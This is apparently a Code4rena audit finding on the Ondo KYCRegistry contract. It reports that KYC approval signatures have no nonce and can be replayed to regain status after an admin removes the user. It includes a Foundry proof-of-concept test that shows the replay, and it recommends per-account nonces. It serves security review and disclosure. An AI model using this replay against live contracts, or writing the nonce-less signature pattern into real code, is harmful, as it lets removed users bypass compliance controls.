KYC signature can be reused to regain KYC status

[code423n4]

Lines of code

https://github.com/code-423n4/2023-01-ondo/blob/main/contracts/cash/kyc/KYCRegistry.sol#L79-L112

Vulnerability details

The function addKYCAddressViaSignature of the KYCRegistry contract allows a user to be granted a KYC status using a signature provided by Ondo. The function validates that the signer has the corresponding role for the requirement group and adds the user to the given KYC group if successful.

While the signed digest contains a deadline, if this deadline is long enough, a user may be able to reuse the provided signature.

Impact

The signature can be reused to add the user back to the registry within the limits of the deadline.

If the user is first KYC approved off-chain and given a signature, and is later removed from the registry by a privileged role using removeKYCAddresses, then the user can resubmit the signature to addKYCAddressViaSignature and be readded to the KYC registry.

PoC

The following test illustrates the issue.

contract TestAudit is BasicDeployment {
    function setUp() public {
        createDeploymentCash();

        // Grant Setter
        vm.startPrank(managerAdmin);
        cashManager.grantRole(cashManager.SETTER_ADMIN(), address(this));
        cashManager.grantRole(cashManager.SETTER_ADMIN(), managerAdmin);
        vm.stopPrank();

        // Seed address with 1000000 USDC
        vm.prank(USDC_WHALE);
        USDC.transfer(address(this), INIT_BALANCE_USDC);
    }

    function test_KYCRegistry_addKYCAddressViaSignature_ReuseSignature() public {
        uint256 signerPrivateKey = 0x123;
        address signer = vm.addr(signerPrivateKey);

        // Add signer KEY group role
        vm.prank(registryAdmin);
        registry.grantRole(KYC_GROUP_2_ROLE, signer);

        // Alice is not in the registry
        assertFalse(registry.getKYCStatus(kycRequirementGroup, alice));

        // // Alice is KYC off-chain and provided a signature
        uint256 deadline = block.timestamp + 30 days;
        bytes32 structHash = keccak256(abi.encode(registry._APPROVAL_TYPEHASH(), kycRequirementGroup, alice, deadline));
        bytes32 hash = ECDSA.toTypedDataHash(registry.DOMAIN_SEPARATOR(), structHash);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPrivateKey, hash);

        vm.prank(alice);
        registry.addKYCAddressViaSignature(kycRequirementGroup, alice, deadline, v, r, s);

        // Alice is now KYC approved
        assertTrue(registry.getKYCStatus(kycRequirementGroup, alice));

        // Simulate time passes...
        vm.warp(block.timestamp + 15 days);

        // Admin removes Alice KYC status
        address[] memory addressesToRemoveKYC = new address[](1);
        addressesToRemoveKYC[0] = alice;
        vm.prank(signer);
        registry.removeKYCAddresses(kycRequirementGroup, addressesToRemoveKYC);
        assertFalse(registry.getKYCStatus(kycRequirementGroup, alice));

        // Alice reuses the signature and gets back her KYC status
        vm.prank(alice);
        registry.addKYCAddressViaSignature(kycRequirementGroup, alice, deadline, v, r, s);
        assertTrue(registry.getKYCStatus(kycRequirementGroup, alice));
    }
}

Recommendation

Use a nonce for each account and include it as part of the signed message to prevent reusing the same signature more than once. When calling addKYCAddressViaSignature, validate that the nonce is the current nonce for the given user. If successful, consume and increment the nonce.

[c4-judge]

trust1995 marked the issue as duplicate of #187

[c4-judge]

trust1995 marked the issue as satisfactory